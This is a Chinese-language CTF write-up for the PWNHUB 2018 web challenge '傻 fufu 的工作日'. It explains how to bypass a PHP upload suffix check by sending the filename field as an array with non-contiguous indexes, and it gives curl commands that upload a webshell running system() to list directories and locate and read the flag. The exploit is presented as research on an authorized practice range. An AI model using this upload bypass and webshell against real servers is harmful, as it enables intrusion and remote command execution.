PWNHUB 公开赛 2018 - Web - 傻 fufu 的工作日

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
PWNHUB 公开赛 2018 - Web - 傻 fufu 的工作日
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | PWNHUB 公开赛 2018 |
| 方向 | Web |
| 难度 | 源 wp 未标注(Unknown) |
| 环境 | 授权靶场(已脱敏) |
| 题目描述 | 一个文件上传功能,提示 Allow One Image File(只允许上传一张图片) |
信息收集
访问 index.php.bak 得到源码,但源码被 phpjiami 加密。无需硬解密,结合公开 writeup 与复现即可还原核心逻辑(见下)。
漏洞分析
核心逻辑(经 writeup 及复现确认):
1 | $filename = !empty($_POST[$this->field]) ? $_POST[$this->field] : $_FILES[$this->field]['name']; |
PHP 数组差异绕过的关键:
$_FILES用于判断「是否多文件上传」(判断 size)$_POST['upfile']用于后缀名操作
当 $_POST['upfile'] 传入数组时,is_array($filename) 为 true,跳过 explode('.', ...)。此时:
count($filename) - 1用于in_array()校验后缀(必须是图片后缀)current($filename)(第一个元素)作为文件名end($filename)(最后一个元素)作为真实扩展名
绕过:用非连续下标构造数组,让 count-1 指向的下标元素是合法图片后缀,而 end() 取到的是 php。提交 upfile[1]=jpg、upfile[2]=php:
- 数组为
[1=>'jpg', 2=>'php'],count=2 $filename[1]=jpg→ 通过in_array校验 ✅current()=jpg,end()=php→ 最终文件名xxx.php
利用过程
1. 上传 PHP 一句话木马
1 | curl -F "upfile[1]=jpg" \ |
shell.txt 内容(用于定位 flag 位置):
1 | echo "HELLO"; echo "\n"; system("ls -la /"); echo "\n---\n"; system("find / -name '*flag*' 2>/dev/null"); |
上传成功,响应返回 <img src="upload/<hash>.php" alt="jpg">,文件被保存为 upload/xxx.php(后缀 php 绕过成功)。
2. 访问木马读 flag
1 | curl "http://target:8080/upload/<hash>.php" |
发现 flag 文件在根目录 /flag_xxxx(实例相关哈希已脱敏)。
3. 读取 flag
1 | echo file_get_contents("/flag_xxxx"); |
完整 EXP
同目录
payload归档内容已并入本节。
1 | # 1. 上传 PHP 木马(upfile[] 数组绕过后缀校验) |
1 | echo file_get_contents("/flag_xxxx"); |
Flag
flag{xxxx}(真实值已脱敏)。
踩坑与总结
$_POST传数组可绕过explode('.')的分割逻辑,这是整道题的入口。count($array)-1与end($array)在「校验」和「实际取值」上的差异,是实现后缀绕过的关键;非连续下标让两者指向不同元素。- phpjiami 加密源码不必硬解,搜索公开 writeup 获取核心逻辑即可,把精力放在 PHP 数组语义上。
- 上传成功后先枚举根目录再定向读 flag,避免在未知文件名上浪费时间。
仅记录授权靶场环境下的研究;完整 exp 见本地 WP 归档
payload文件。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果






